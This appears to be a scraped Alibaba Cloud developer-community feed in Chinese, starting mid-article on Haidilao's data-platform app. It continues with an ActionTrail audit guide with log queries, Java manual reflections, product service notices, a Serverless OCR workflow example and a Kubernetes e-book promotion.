    千人千面超级App面世,依托的是阿里巴巴“三中台”架构(即阿里云业务中台、数据中台和移动中台)。数据中台建设的目地,一方面是为了支持短期App的上线,在过程中将海底捞的数据标准化;另一方面是为了长远的数字化转型,将业务数字化和资产化。

    “3000多万的会员是海底捞最宝贵的资源,如何利用数字化的科技手段提升线下门店的经营效率、降本增收是思变的关键。这不仅是海底捞的诉求,也是我们想为他们做的。”陈晓勇表示,超级App让门店和用户有了更紧密的连接,根据用户不同的消费行为,对整个消费群体进行画像。

    有了这些数据,海底捞可以更精准地把握用户的需求,从而了解每个人的口味和喜好,进行千人千面的推荐和营销,提升用户的消费体验感。

    短短的三四个月,数据中台团队依靠Dataphin(数据构建与管理的一套工具)完成了以上种种难度极大的任务。合作开始的第一步,利用阿里巴巴沉淀的数据经验,对客户SQL和指标进行解构,让脱敏数据不再有二义性。从而让海底捞可以根据自己的业务灵活的组合,使业务与技术不再孤立,生产出来的指标也就是不断积累的资产。

    Datahpin完成了大数据的引入和脱敏,之后的数据分析与展示就落到了另一个产品Quick BI身上,冰冷的数据通过BI工具,生动的使用线柱图等图标展示数据背后的价值,快捷便利的服务日常的业务决策。

    阿里云旗下的Quick BI和Dataphin是来自数据中台的嫡出产品,分别在2017年3月和2018年3月开始商业化之旅,对外输出大数据构建与应用的能力。

    简单来说,这两款产品帮海底捞搭建了一套完整的数据分析报表系统。海底捞可以根据这些分析报表,制定更为灵活的营销手段,提升会员的满意度。再基于数据中台,服务海底捞的应用,如超级App,最终实现CRM系统的升级。散乱的数据被进行规范重组后,这些数据为最终实现千人千面奠定了基础。
    3.jpeg
    参与本次项目的数据构架师表示:“超级App也好,帮他们构建的构架方面的团队也好,阿里云交付给对方的并不单单是个产品,而是一种能力。现在这个团队,可以基于自有的数据业务,去生产这些指标,这些对海底捞而言都是很有价值的。Dataphin这款产品在项目中的使命,一方面是支持超级App的数据需求,包括会员升降级、积分计算等,在这个项目中治理了会员域和交易域的数据,但Dataphin能做到的远不止这些,海底捞未来可以在我们输出的方法论基础上,用自己组建并不断壮大的团队去做更多的事情,比如实现物流域、供应链域、所有子公司的业务数字化和智能化。”

    目前,这套系统能够支持亿级的会员数量和千万级参与者的营销活动。陈晓勇表示:“上线第一个月的测试结果显示,这个框架足以支持千家门店的需求,而且它还具有可伸缩的弹性,会根据海底捞业务的不同需求,系统进行扩容,而弹性正是云的最大特长。”

    举例来说,原来海底捞如果想要发起一项针对不同年龄层以及性别各类型的会员权益活动,原先把规则等写入系统再调试上线至少需要1天的时间,而现在仅需要1小时即可完成,大大地有了缩时提效的成果。

    阿里云助力海底捞实现“云上捞”

    5个月的努力,这款超级App,不仅让排号、订位、点餐等基础功能更流畅,还创新性地集成了社区、短视频分享、智能语音交互等功能和新技术,在功能性的基础上,为用户提供游戏、社交、娱乐等增值服务,此外还有智能客服捞小蜜24小时在线服务。

    而超级App最为“超级”之处,是真正做到了能够分辨的出每位顾客的口味和个人喜好,每一位顾客打开超级App,所看的菜品推荐、促销信息、达人分享等内容都不一样。

    “从前期沟通到超级App上线,仅仅四个月左右的时间,很多我们只是设想的内容,阿里云都帮我们完成了,甚至连我们没想到的一些业务,也为我们做到了。” 海底捞信息管理部部长吴建表示,项目中的很多工程师其实是不懂餐饮业的,但为了这个项目,都去花时间学习。“我们海底捞有线下场景,而阿里有最先进的技术,我们的强强联手,一定能干出一番大事。”

    接受了挑战,跨过障碍坑,努力过后,收获的是惊喜。
    4.jpeg
    ET+智慧餐厅

    这一套全新的架构,为海底捞带来了看得见的“价值”。海底捞原有的CRM(客户关系管理)系统性能提升了18.6倍,实现了新零售环境下的新会员体系和成长体系的建立。目前,这套系统能够支持亿级的会员数量和千万级参与者的营销活动,发红包系统上云后,性能提升了46倍。

    经过“蜕变”后的海底捞超级App,服务直达用户,线上多个活动可触达客户。线上线下交互式的消费,吸引了更多人流,从而形成了内容引流。而且,新的App使得品牌整体更加年轻化。除此之外,海底捞的积分、卡券等传统营销模式更智能化,由算法推荐最优的运营策略,进行千人千面的营销。通过跨界+互联网方式,增加了品牌的粘度与忠诚度、新鲜度。

    在今年的云栖大会上,马云分享了有关“新制造”的观点,他表示新制造很快会对全中国乃至全世界的制造业带来席卷性的威胁和席卷性的机会,所有的制造业所面临的痛苦远远超出想象,不是制造业不行,是落后的制造业不行,未来的制造业是“made in Internet”。

    马云也曾谈起过海底捞,他表示,海底捞是强大的制造业,它只是终端在餐厅,端到桌子上那一刻是服务业,它背后的配菜等整个的流程都是制造业。

    “这一次的成功合作,可以说是为海底捞的数字化升级树立了样本,为将来和阿里深层次合作奠定了基础。”吴建表示。这一餐饮行业的探索也让生意越来越难做的传统餐饮业迎来了转型新机。

    阿里云通过云计算、人工智能等新技术,推动了餐饮行业的变革。不仅增强了经营者与消费者之间更加紧密的连接,也让客户的体验感增强,丰富了海底捞为客户服务的场景和可能性,从而让运营效率和客户满意度再次提升。

    更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦
    5

    ]]>
    企业云上安全审计——操作审计-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 企业信息安全与操作审计

    越来越多的企业将自己的核心业务搬迁上云,在阿里云上部署了大量的IT基础设施(虚拟机、数据库等)、应用和数据,云上IT信息系统的安全至关重要。而IT设施托管在云上后,对IT资源的管理、查看都需要经过和依赖云平台,那就要求云平台能支持云上IT运维的高可见性和可控性。而企业现实中就面临着来自企业内部和外部的审计需求。

    操作审计追踪并记录对云上IT的管控操作日志。从企业内部的审计需求来看,帮助企业洞察来自企业内部的违规操作、鉴别正在发生的数据非法访问、通过分析异常行为发现非法攻击行为、结合操作日志复盘已发生的故障,同时也帮助企业日常查询和监控运维人员的操作。从企业外部的审计需求来看,使用操作审计才能让企业达到等保2.0等法律法规的要求。

    等保2.0应用安全部分安全审计中要求企业:应启用安全审计功能,审计覆盖到每个用户,对重要的用户行为和重要的安全事件进行审计;审计记录应包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息;应对审计记录进行保护,定期备份,避免受到未预期的删除、修改或覆盖等;应对审计进程进行保护,防止未经授权的中断。

    阿里云操作审计

    操作审计(ActionTrail)记录您的阿里云账号的活动,包括通过阿里云控制台、OpenAPI、开发者工具对云上产品和服务的访问和使用行为。支持将操作日志投递到您的对象存储(OSS)进行归档存储或日志服务(SLS)进行查询、分析、报警和制作监控仪表盘。

    1.png

    操作审计支持在控制台查询最近90天的操作日志,首先要根据资源的归属地域选择对应地域控制台,一般操作日志量比较大,建议查询时间范围选择尽量小,事件信息指定的尽量详细,可以更容易找到有价值的信息。

    查询历史事件是提供给用户用于临时查询,对于任何有审计需求的用户都应该创建跟踪,将操作日志投递到自己的对象存储或日志服务中,长时间的保留操作日志(等保要求至少保留6个月),进行更详细的查询和实时分析。

    应用案例

    操作审计提供的功能简单易于理解。下面我们通过三个场景和具体示例,介绍如何应用操作审计帮助企业完善云上的安全审计。

    监控外来入侵

    某互联网公司A企业从自建IDC搬到云上后,第一个担心的问题就是云上安全,服务器、数据库会不会被入侵。A企业通过监控云上操作日志,可以快速的发现资源的异常情况。

    首先、在操作审计控制台创建跟踪,监控所有地域的全部操作类型,并将操作日志投递到日志服务。

    2.png

    操作审计在日志服务中会自动创建两个仪表盘(一个中文,一个英文),统计操作日志的整体信息,包含事件PV、UV、事件的来源分布、事件的地域分布和事件的类型统计。

    3.png

    默认生成的统计图表是比较粗粒度的,用于观察事件的概况。针对入侵的监控,需要更贴合实际的细粒度监控。A企业通过观测ECS操作的地域、来源IP、userAgent变化来甄别是否受到了外部入侵。
    A企业创建的入侵监控图表如下:

    4.png

    • A企业统计来源IP的城市,如果来自非企业所在城市,则可能是异常情况。

    __topic__: actiontrail_audit_event | SELECT count(1) as pv, city FROM (SELECT "event.sourceIpAddress" AS ip, ip_to_city("event.sourceIpAddress") as city FROM log) WHERE ip_to_domain(ip)!='intranet' GROUP BY city ORDER BY pv DESC

    • A企业有固定的对外的IP网段,并且要求只能在公司执行操作,通过对IP进行监控,如果有白名单外的IP产生了操作则可能是异常情况。

    __topic__: actiontrail_audit_event | SELECT count(1) as pv, "event.sourceIpAddress" as ip WHERE ip_to_domain("event.sourceIpAddress")!='intranet' and "event.sourceIpAddress" != '
    Internal' GROUP BY ip ORDER BY pv DESC

    • A企业有自建的云管平台,统一使用terraform和JAVA语言来管理阿里云上资源。通过监控userAgent来监控外来入侵,如果出现其他userAgent那么可能是异常情况。

    __topic__: actiontrail_audit_event | SELECT "event.userAgent" as userAgent, count(1) as pv GROUP BY userAgent

    • A企业在云上使用了ECS和RDS,通过监控ECS的删除实例操作或者RDS的删除实例操作,来监控高危操作的情况。

    __topic__: actiontrail_audit_event | SELECT serviceName, eventName, userName,count(1) as pv FROM (SELECT  "event.eventName" as eventName, "event.serviceName" as serviceName, "event.userIdentity.userName" as userName FROM log) WHERE (serviceName = 'Ecs' and eventName = 'DeleteInstances') OR (serviceName = 'Rds' and eventName = 'DeleteDBInstance') GROUP BY serviceName, eventName, userName

    • A企业某次发现AK泄露,黑客使用此AK在云上进行了大量违法操作。A企业使用操作审计查询此AK操作记录,了解黑客入侵范围和破坏细节,快速恢复业务,并且作为证据进行起诉追责。

    __topic__: actiontrail_audit_event and event.userIdentity.accessKeyId: 123

    内部违规监控和取证

    某传统企业B将业务搬到了阿里云上。在云上创建一套子账号体系,分发给不同职能部门进行使用,因为各个部门都有阿里云子账号,B企业比较担心内部员工违规操作,使用访问控制(RAM)做了权限隔离,制定了运维操作规范,也使用操作审计创建跟踪,建立监控来保障业务平稳运行。

    首先,在操作审计控制台创建跟踪,监控所有地域的全部操作类型,并将操作日志投递到日志服务。
    内部监控图表如下:

    5.png

    • B企业要求运维不可以在业务高峰期间进行机器重启等高危运维操作,B企业针对此操作规范建立统计,统计在9:00~16:00业务高峰时间段的ECS重启操作,监控运维的违规操作。

    __topic__: actiontrail_audit_event and event.eventName: RebootInstance | SELECT user, time FROM (SELECT date_format(__time__, '%Y-%m-%d %H:%i:%S') AS time ,cast(date_format(__time__, '%H') as bigint) AS hour, "event.userIdentity.userName" as user FROM log)  WHERE hour > 9 AND hour < 16

    • B企业不允许开发直接创建资源,需要走公司内部的审批流程后,由运维进行资源的创建。B企业针对子账号的创建操作建立统计和监控,监控非运维的越权和违规操作。

    __topic__: actiontrail_audit_event | SELECT count(*) AS count, user FROM (SELECT "event.eventName" AS event, "event.userIdentity.userName" AS user FROM log)  WHERE event LIKE 'Create%' GROUP BY user

    • B企业运维人员因为发泄个人私欲删除了公司数据库和服务器,导致企业服务停机半天,造成大量损失。B企业使用操作审计投递的SLS中查询导出相关子账号的操作记录,作为证据维护企业合法权益。

    __topic__: actiontrail_audit_event and event.userIdentity.accessKeyId : xxx

    消费操作日志

    金融企业C有自建的审计监控平台,需要将操作审计与线下的审计监控平台建立连接。C企业通过在操作审计中创建跟踪,将云上操作事件投递到日志服务中,然后消费日志服务中的日志,来做自建审计平台的数据存储和事件触发。

    6.png

    流程如下:

    7.png

    操作审计投递到日志服务的日志,可以通过多种方式实时消费,完成审计和监控需求。

    最佳实践

    操作审计推荐用户创建跟踪将账号的操作记录同时保存到对象存储(OSS)和日志服务(SLS)中。

    对象存储(OSS)的存储价格相对便宜,可以作为归档存储。建议存储至少6个月的操作日志。并开启OSS bucket的合规保留策略,设置与存储日期一致的过期时间,过期时间之前,任何用户都无法删除Object和策略。如果有加密需要,也可以开启OSS服务端加密服务。

    日志服务存储的操作记录用于数据消费和分析。可以根据需要选择存储时间,如一个月。使用日志服务在线查询操作日志、制作监控仪表盘,方便快捷识别账号风险。如果企业有自建的合规审计平台,可以通过日志服务的实时消费能力,将数据导入企业的合规审计平台,统一分析管理。

    总结

    阿里云致力于以在线公共服务的方式,提供安全、可靠的计算和数据处理能力,让计算和人工智能成为普惠科技。操作审计致力于打造可信赖、可依靠、透明化的阿里云,让云上操作拥有可监控、可审计、可追溯的能力。操作审计除了记录阿里云账号的活动之外,还推出了平台操作日志,对用户透出了阿里云内部运维事件,让阿里云更加透明化。操作审计也在不断提升产品覆盖度,让更多的产品可以被审计。为了企业云上安全审计操作审计在行动,快来创建跟踪吧。

    ]]>
    问鼎五岳之巅--Java开发手册泰山版心得分享-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 还在上大学的时候,就曾看到过早期阿里的Java开发手册,那时候还对其中大部分的规约满是疑惑,知其然而不知其所以然。后面我参与实习,那时候公司也十分注重代码规范,带我的师傅让我先学习下阿里的Java开发手册,以后就照着这个规范来了。

    随着后面经验的不断积累,我开始渐渐了解Java开发手册一些规约其中的深意。举个例子:对于一个设备在线、离线状态,我在应用层设计的时候是设计成基本类型boolean还是包装类Boolean呢,包装类的Boolean支持赋null值,基本类型boolean赋null会抛NPE,我的选择决定我后面对可能出现的null如何处理。那我数据库那边的字段要选择什么类型,才能最大程度上满足需求,又节省空间呢?我后续是否需要在该字段加索引呢?哦,不对,要是后面设备的状态,可能不止在线,离线,多了个"正忙"状态,我要是设计成布尔型,后期这改动就要命了呀,考虑到拓展性,我得考虑用其他基本类型代替,那是short好呢,还是int呢,还是long呢,那数据库那边对应的字段类型,是varchar呢,还是别的一些呢。

    上面的问题,有很多种组合方式,对于没有经验的新手来说,要是他考虑到了这些问题,他要花费大量的时间去尝试各种可能,选出最优的方案。对于有经验的老手,也可能会直接用过往的经验去设计,倘若他的"过往经验"不是最优解呢?正因为程序开发有无限的可能,它才显得迷人,但是坑也很多。有了阿里的Java开发手册就好多了,大家把平常开发的一些坑,和好的设计,经过反复的推敲,提炼出来,总结一套可行的规范,让广大开发者受益,这,正是Java开发手册备受Java开发者推崇的主要因素。

    手册也一直在更新迭代,一直在进步,如今敢起名五岳之巅--泰山版,也算不枉此名吧。

    ]]>
    【其他】阿里云按量付费产品延期免停权益上线通知 Fri, 02 May 2025 09:39:04 +0800

    尊敬的阿里云用户:

    为了保证阿里云按量付费产品服务的持续性和稳定性,阿里云即将启用按量付费产品延停服务权益。此功能将逐步灰度,相应的【产品服务协议】条款将于延停服务功能全面上线【前】完成修正。

    按量付费产品延停服务功能上线前:

    当您账号可用金不足发生欠费时,阿里云不同产品的欠费到停服的时间由根据产品情况制定,并且无法取消欠费停服的策略。

    按量付费产品延停服务上线后:

    当您账号下按量付费产品处于欠费时,阿里云会根据您的历史使用情况给予一定延期免停机额度,用于继续使用按量付费产品,当延期免停额度使用完毕后,您的阿里云产品会进入停服状态,您可以在停服前进行充值,权益详情请查看官网说明,如需取消额度请登陆请登录控制台-费用中心进行操作。

    ]]>
    【其他】3月10日物联网平台实时监控消息量统计维度调整通知 Fri, 02 May 2025 09:39:04 +0800 【升级】物联网平台实时监控消息量统计维度变更通知

    【阿里云】【物联网平台】【升级通知】

    升级窗口:北京时间2020年3月10日 01:00 - 02:00

    升级内容:所有地域的物联网平台,控制台/监控运维/实时监控消息量统计维度调整,其中“发送到平台的消息量”和“平台发出的消息量”统计由“计费逻辑条数”调整为设备通信的真实物理消息条数。

    升级影响:对于单条消息报文<512字节的客户,实时监控统计消息量不变;单条消息>512字节的客户实时监控统计消息量会减少,但不影响业务正常运行,建议调整原有监控告警阈值,避免云监控误报。

    ]]>
    【其他】4月5日Web应用防火墙【告警设置】功能升级下线通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【Web应用防火墙】【下线通知】
    下线时间:北京时间2020年4月5日
    下线内容:
    为优化产品服务体验,提升稳定性,web应用防火墙于2020年2月10日推出新版告警通知功能。新版告警通知功能中,web应用防火墙聚焦监控数据和安全事件生成和输出到云监控服务中,用户在云监控中统一配置告警事件、告警方式和告警对象,自上线服务于新客户,已经平稳运行1个月。
    旧版本告警通知将于2020年4月5日下线,不再提供服务。为了不影响您的告警功能,请务必在2020年4月5日前,登录控制台进行升级和配置操作(升级过程不会对业务有任何影响),感谢您的配合与支持!

    ]]>
    【其他】4月1日起Web应用防火墙防护能力全面升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【web应用防火墙】【防护能力升级通知】

    升级窗口:
    北京时间2020年04月7日 9:00 - 24:00
    北京时间2020年04月14日 9:00 - 24:00
    北京时间2020年04月21日 9:00 - 24:00
    北京时间2020年04月28日 9:00 - 24:00

    升级内容:为了更有效的满足精准限流的业务防护,爬虫、撞库、爆破、弱口令等攻击防护需求,以及相关设置和安全报表用户体检需求,web应用防火墙上线新版防护能力和控制台升级版本。

    升级方式:自从2020年4月1日起,系统将分批在用户控制台释放用户自主升级能力,详情查看请访问https://c.tb.cn/I3.ZRN4z,请留意引导并配合操作。若期间用户没有自主升级,系统会自动升级到最新版本,敬请您的配合与支持。

    升级影响:本次升级内容已经完成多个月的线上灰度测试,升级期间将不会影响客户的业务访问和防护功能;升级过程中可能拆分少数客户的特殊的精准访问控制规则,由原来的单条规则拆分为多条不同规则,请升级后留意观察!

    给您带来的不便敬请谅解,有任何问题,可随时通过专属服务群、工单反馈。

    ]]>
    【其他】3月31日web应用防火墙产品按量版本变更计费逻辑通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【web应用防火墙】【计费变更通知】

    变更窗口:北京时间2020年3月31日00:00 - 23:59

    变更内容:

    自2020年3月31日起,阿里云web应用防火墙产品按量版本收费模式将进行变更,详细内容如下:

    系统检测到在web应用防火墙产品控制台添加了域名,即使不产生流量,也默认会按5QPS收取基础配置费用。产生流量的情况下和原先按量阶梯计费逻辑保持一致。价格详情点此查看

    系统将于2020年3月23日-3月27日内对历史按量版本实例状态进行确认,对于无域名配置或者没有流量的用户进行实例释放处理。如果不想产生相关费用,也可以自行确保删除控制台所有域名配置。

    给您带来的不便敬请谅解,有任何问题,您有任何问题,可点击联系我们进行咨询反馈 。


    ]]>
    【其他】4月21日云监控站点监控调整通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【云监控】【调整通知】

    调整窗口:

    北京时间2020年4月21日 10:00 - 22:00

    调整内容:

    1.站点监控运营商探测点:云监控将对站点监控中的运营商探测点进行调整,将同一区域(省、自治区和直辖市)同一运营商不同城市的探测点进行归并,调整后的运营商探测点列表详见附录。

    2.站点监控任务配置:云监控将于北京时间2020年4月21日 10:00 - 22:00依据原有探测点配置,按照同一区域同一运营商的原则,对所有已经配置了运营商探测点的站点监控任务进行配置调整,将已配置且不在附录中的运营商探测点调整为附录中区域和运营商相同的探测点。

    3.站点监控探测点选择方式:站点监控任务选择探测点时,只需要选择运营商和区域,不再提供城市的选项。

    影响范围:

    使用云监控站点监控的用户

    影响说明:

    1.对于无法按照上述规则调整的探测点,从2020年4月21日开始云监控将停止基于这些探测点的服务。

    2.对于可以按照上述规则调整探测点的监控任务,由于探测点所属城市的变化可能会导致相应探测任务的响应时间变化甚至触发告警。

    调整后的运营商探测点列表可点此查看

    建议您在2020年4月21日前登录云监控控制台调整站点监控任务里配置的不在附录列表范围内的探测点。

    给您带来的不便敬请谅解,您有任何问题,可点击联系我们进行咨询反馈

    ]]>
    【其他】关于杭州增值税普通发票全面电子化的通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【发票申请调整通知】

    杭州市税务局决定自2020年3月1日起,在全市全面推广使用增值税电子普通发票。
    为积极响应国家号召,阿里云计算有限公司自2020年3月24日起关闭增值税纸质普通发票申请的入口,切换为增值税电子普通发票。
    增值税电子普通发票与纸质普通发票的使用效用相同,也更加方便、快捷、安全,请您放心使用!
    感谢大家对阿里云一贯的支持和理解,祝您生活愉快,谢谢!

    ]]>
    【其他】4月21日云解析网站监控&DNS监控调整通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【云解析DNS】【调整通知】

    调整时间:北京时间2020年4月21日 10:00 - 2020年4月22日 22:00

    调整内容:

    1、云解析网站监控探测点:将对云解析网站监控中的运营商探测点进行调整,调整后的运营商探测点列表详见附录1

    2、云解析网站监控任务配置:将于北京时间2020年4月21日 10:00 - 2020年4月22日 22:00依据原有探测点配置,按照尽力完全匹配、若探测点调整后不存在则尽力匹配到同区域同运营商的原则,将已有配置按照附录2进行调整。

    3、全局流量管理(GTM):监控节点发生变化,监控节点原设置为广州市移动的,将统一更新为深圳市移动。

    4、DNS监控相关调整规则请参考云监控站点监控调整通知

    影响范围:

    使用云解析网站监控、DNS监控、全局流量管理(GTM)的用户

    影响说明:

    1、对于无法按照上述规则调整的探测点,从2020年4月21日开始将停止基于这些探测点的服务。

    2、对于可以按照上述规则调整探测点的监控任务,由于探测点所属城市的变化可能会导致相应探测任务的响应时间变化甚至触发告警。

    建议您在2020年4月21日前登录云解析控制台依据新的运营商探测点和业务需要进行调整。给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈

    ]]>
    【其他】SLB性能保障型实例价格变更通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【SLB】【价格调整通知】

    负载均衡SLB计划于2020年4月起,结束性能保障型实例slb.s1.small规格的限时免费,调整slb.s1.small规格定价为0.1元/小时,具体收费原则如下:

    1、在收费生效日后新购买的slb.s1.small规格的实例将开始收费

    2、在收费生效日前购买的slb.s1.small规格实例将继续维持免费,但在收费生效日后对实例规格进行变配,则限时免费自动结束

    3、在收费生效后,任何高于slb.s1.small规格的按量付费的实例,当实例实例运行的规格回落到slb.s1.small时,将按照slb.s1.small规格的定价收费(参考:性能保障型实例规格后付费

    4、自收费生效日起,slb.s1.small规格费在定价基础上打5折优惠,优惠截止时间2020年12月31日。

    上述调整自2020年4月起,逐步实施,各地域、各站点收费生效日可能略有差异,请以购买页实际询价结果为准。

    ]]>
    【其他】老静态DDoS高防产品停服通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【老静态DDoS高防】【产品停服】

    停服时间:北京时间2020年9月30日零点后老静态DDoS高防产品停服

    停服产品:老静态高防产品,包含电信+联通、电信+联通+老BGP、老BGP、非中国内地清洗线路四种形态的老静态DDoS高防产品

    停服影响:本次计划停服老静态DDoS高防产品。如果您当前使用的是老静态高防,可点击联系我们进行咨询反馈 ,我们将协助您将业务切换到网络质量、防护能力和容灾能力更好的新BGP高防。切换过程可以做到业务无损切换,无需额外费用。如果您已经在使用新BGP高防,请忽略本次公告内容。

    ]]>
    【其他】4月21日Datahub控制台升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【Datahub】【升级通知】

    升级窗口:北京时间2020年4月21日 10:00 - 15:00

    升级内容:Datahub全新控制台上线,旧的域名访问 https://datahub.console.aliyun.com 会统一跳转到新的控制台 https://dhsnext.console.aliyun.com

    升级区域:华北,华东,华南,新加坡,吉隆坡,孟买,德国

    升级影响:正常情况下对客户无影响,升级过程中如果遇到任何问题,可随时联系我们进行咨询反馈。

    ]]>
    【其他】4月29日旧版DDoS高防安全报表下线通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【旧版DDoS高防的安全报表功能】【下线通知】

    发布时间:北京时间2020年04月29日 00:00 - 00:00

    发布内容:旧版DDoS高防的安全报表功能下线

    发布影响:旧版DDoS高防的安全报表计划于4月29日下线,相关高防数据查询可以参阅概览页面。概览报表在现有安全报表的基础上提供更多维度的高防数据的查询功能。


    阿里云

    ]]>
    【其他】6月30日DDos高防API版本下线通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【DDos高防API版本】【下线通知】

    发布时间:北京时间2020年06月30日 00:00 - 00:00

    发布内容:DDoS高防旧版本API接口下线,影响新BGP高防和国际高防

    发布影响: 正在使用旧版本API接口的高防用户,请您尽快参照新版本API接口的指导文档完成新旧API接口的替换


    ]]>
    【其他】堡垒机升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【堡垒机产品】【升级通知】

    升级窗口1:4月28日17:00-22:00 ;升级区域:西南1(成都)、华南2(河源)、华东2(上海)

    升级窗口2:5月7日,5月12日 17:00-22:00 ;升级区域:华东1(杭州)

    升级内容:堡垒机产品V3.2.X版本升级至V3.2.9版本,V3.2.9版本在主机配置、用户配置、控制策略三大功能模块均进行了优化升级:

    1、主机配置:支持从文件导入主机;支持RDS专有主机组导入;支持同步时自动更新ECS属性;支持批量新增主机账号密钥

    2、用户配置:新增堡垒机本地用户;支持从文件导入本地用户;支持AD/LDAP认证;支持配置用户SSH公钥;支持本地用户短信双因子认证

    3、控制策略:支持配置命令、协议访问、来源IP控制策略;支持命令审批

    升级方式:系统自动升级到最新版本

    升级影响:无影响

    ]]>
    视觉智能开放平台与Serverless工作流深度合作实现API调用的上云托管!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   阿里云视觉智能开放平台(vision.aliyun.com)(以下简称“智能开放平台”)是基于阿里巴巴视觉智能技术实践经验,面向视觉智能技术的开发与应用用户,为其提供好用、易用、普惠的视觉智能API服务,帮助企业、开发者快速建立视觉智能技术的应用能力的综合性视觉AI能力平台。
      近几年人工智能一直是热度很高的话题,越来越多的出现在了实际生活的场景中,大家也能感受到 AI 所带来的便利,比如:自动售货机购物已经可以使用支付宝人脸支付;进行一些与财务相关的 APP 注册的时候 APP 已经可以自动进行活体人脸检测;小区的物业、门禁系统支持身份证/驾驶证/车牌号的自动身份识别等等。这些应用所用到的核心 AI 基础算法是一样的,如人脸人体检测、卡证识别等。为了帮助广大开发者提高开发效率节省对接和研发成本,更好的满足用户需求,智能开放平台与Serverless工作流进行了深度的合作,通过Serverless工作流将平台上的AI算法进行了集成(已支持的 API 能力详见 列表),丰富了用户的体验,降低了用户在工作流中使用 AI 算法的成本。相比于之前用户需要手动编写API调用的处理逻辑并处理异常的情况,现在可以直接将智能开放平台的API算法调用作为流程中的一个步骤进行处理,并将结果数据传递到后续的流程中。
      例如,在用户注册APP的过程中上传身份证照片->身份证照片识别,提取关键信息->记录关键信息,进行业务处理->返回注册结果,这就是一个典型的图片处理流程。这类场景使用 Serverless 工作流来进行处理是十分合适的。下面我们将以上述 APP 注册场景作为示例,详细解释如何在 Serverless 工作流中编排视觉智能 API。


    在流程中集成身份证识别能力
      在上述 APP 注册场景中,身份识别(如用户身份认证、卡证信息录入、身份信息采集等)可以抽象为一个独立的流程,为不同的 APP 复用。在这个流程中,可使用智能开放平台所提供的身份证识别 RecognizeIdentityCard 能力进行图片识别。整个流程定义如下:

    version: v1beta1
    type: flow
    steps:
      - type: task
        name: APIRecognizeIdentityCard
        action: ocr:RecognizeIdentityCard
        inputMappings:
          - target: image
            source: $input.imageUrl
          - target: cardSide
            source: face
        outputMappings:
          - target: name
            source: $local.Data.FrontResult.Name
          - target: gender
            source: $local.Data.FrontResult.Gender
          - target: idNumber
            source: $local.Data.FrontResult.IDNumber
        serviceParams:
          ImageURL: $.image
          Side: $.cardSide
        retry: # 针对系统内部错误进行重试
          - errors:
              - ocr.ServiceUnavailable
              - ocr.InternalError
              - ocr.Timeout
              - ocr.InvalidResult
              - ocr.InvalidImage.Download
            intervalSeconds: 10
            maxAttempts: 2
            multiplier: 2

      完成该流程的定义后,即可在您的业务流程中使用 Serverless 工作流所提供的 SDK,传入不同的 imageUrl 对流程进行调用。
    流程详解

    • 步骤定义

      为使用 API 编排功能,我们需要定义 任务步骤。根据 使用示例,在 action 下指定 serviceName 及 apiName 分别为 action:ocr:RecognizeIdentityCard;

    • 输入及输出

      输入输出参数可参考 RecognizeIdentityCard文档 。在 ServiceParams 中我们将 API 所需的 imageUrl 定义为输入,这样可以做到在执行时指定不同的图片作为流程的输入从而达到识别不同身份证的目的。
      输出 outputMappings 与普通的任务步骤一致,对于 API 的返回,我们只关心姓名、性别及身份证号,因此在这里我们只将这些结果作为输出。

    • 错误处理

      在错误处理方面,本流程主要需要考虑对服务内部错误进行重试。API 的所有错误码见 文档,需要额外注意的是在工作流中使用这些错误码需要添加服务名称作为前缀,即 ocr.xxx。
      点击此处,一键体验上述功能


      目前为了更好的帮助中小企业和独立开发者快速对接视觉AI算法,阿里云视觉智能开放平台(vision.aliyun.com)免费开放平台上现有的100余种视觉AI算法服务的使用权限,没有中间商赚差价,服务调用不收取任何费用!另外智能开放平台与Serverless工作流合作已经集成了50多种AI算法,未来还会给大家提供更多优质的集成算法!
      如果您对我们产品较为感兴趣或是您在使用过程中有任何疑问都可以扫描文章结尾的二维码进群和我们沟通!
    image.png
    image.png

    ]]>
    电子书下载 | 超实用!阿里售后专家的 K8s 问题排查案例合集-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 书.png

    <关注公众号,回复“排查”获取下载链接>

    《深入浅出 Kubernetes》开放下载

    本书作者罗建龙(花名声东),阿里云技术专家,有着多年操作系统和图形显卡驱动调试和开发经验。目前专注云原生领域,容器集群和服务网格。本书分为理论篇和实践篇,共汇集了 12 篇技术文章,深入解析了集群控制、集群伸缩原理、镜像拉取等理论,带你实现从基础概念的准确理解到上手实操的精准熟练,深入浅出使用 Kubernetes!

    本书共有以下四大亮点:

    • 线上海量真实案例的沉淀
    • 理论和实践的完美契合
    • 理论阐述深入浅出
    • 技术细节追根究底

    帮助你一次搞懂 6 个核心原理,吃透基础理论,一次学会 6 个典型问题的华丽操作!

    目录.png
    (本书目录)

    如何免费下载?

    关注“阿里巴巴云原生”,回复 排查 ,即可免费下载此书。

    前言

    以下内容节选自《深入浅出 Kubernetes》一书。

    阿里云有自己的 Kubernetes 容器集群产品。随着 Kubernetes 集群出货量的剧增,线上用户零星的发现,集群会非常低概率地出现节点 NotReady 情况。

    据我们观察,这个问题差不多每个月就会有一到两个客户遇到。在节点 NotReady 之后,集群 Master 没有办法对这个节点做任何控制,比如下发新的 Pod,再比如抓取节点上正在运行 Pod 的实时信息。

    在上面的问题中,我们的排查路径从 K8s 集群到容器运行时,再到 sdbus 和 systemd,不可谓不复杂。这个问题目前已经在 systemd 中做了修复,所以基本上能看到这个问题的几率是越来越低了。

    但是,集群节点就绪问题还是有的,然而原因却有所不同。

    今天这篇文章,将侧重和大家分享另外一例集群节点 NotReady 的问题。这个问题和上面问题相比,排查路径完全不同。
